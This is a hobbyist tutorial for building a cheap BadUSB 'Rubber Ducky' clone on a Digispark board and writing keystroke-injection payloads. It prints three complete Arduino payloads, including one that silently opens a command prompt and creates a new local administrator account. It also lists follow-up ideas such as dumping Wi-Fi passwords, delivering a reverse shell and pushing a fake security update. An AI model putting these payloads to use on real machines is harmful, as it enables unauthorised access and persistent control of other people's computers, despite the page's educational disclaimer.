> DIY USB Rubber Ducky Clone for Ethical Hacking

Weaponize cheap hardware for elite pentesting drills.


> Overview

Ever wanted a USB Rubber Ducky but didn’t want to drop $50+? Welcome to the underground. In this guide, weโ€™ll build a BadUSB clone for under $10 using simple microcontrollers like the Digispark ATtiny85 or an ESP32-S2. Perfect for learning keystroke injection attacks and automating pentesting tasks.

โš ๏ธ Disclaimer: This is for educational and ethical use only. Unauthorized access is illegal. Always hack responsibly.

> What You’ll Need

  • ๐Ÿ–ฅ๏ธ Digispark ATtiny85 (or ESP32-S2 board)
  • ๐Ÿ”Œ Micro-USB cable
  • โš™๏ธ Arduino IDE (with Digistump driver installed)
  • ๐Ÿ› ๏ธ Payload ideas (commands to type automatically)

> Setting Up Digispark

  1. Install Arduino IDE if you haven’t already.
  2. Go to Preferences and add this URL to “Additional Boards Manager URLs”:
    http://digistump.com/package_digistump_index.json
  3. Open Board Manager โ†’ Install “Digistump AVR Boards”.
  4. Set Board to Digispark (Default – 16.5mhz).
  5. Write your payload using DigiKeyboard functions.
  6. Upload sketch โ†’ THEN plug in Digispark when prompted.
๐Ÿ› ๏ธ Pro Tip: Digispark doesn’t always appear in “Ports” like a normal Arduino. Just hit Upload, then plug it in when Arduino IDE says “Searching for Device…”

> Example Payloads

> 1. Command Line Popper

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(400);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("echo Hacked by Rubber Ducky Clone!");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}

> 2. Launch Website in Stealth

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(600);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(400);
DigiKeyboard.print("chrome https://chronichacker.com");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}

> 3. Create a New Admin User

#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(400);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("net user hacker123 H@ckme123 /add");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
DigiKeyboard.print("net localgroup administrators hacker123 /add");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {}

> Next-Level Payload Ideas

  • ๐Ÿ” Auto-dump Wi-Fi passwords using built-in Windows scripts.
  • ๐Ÿงน Clear browser history on target machine automatically.
  • ๐Ÿงฌ Deliver a “reverse shell” payload (advanced pentesting move).
  • ๐ŸŽญ Create fake error popups to distract users.

> Related Resources

> Final Mission

Write your own payload that:

  • โœ”๏ธ Opens Notepad and types a custom message
  • โœ”๏ธ Connects to a hidden Wi-Fi network
  • โœ”๏ธ Installs a security update (real or fake!)

๐Ÿ’ฅ Bonus: Randomize delays between keystrokes to mimic human typing.

๐Ÿ“› For educational and ethical use only. Hack smart. Hack sharp.
© 2025 Chr0nicHacker
Scroll to Top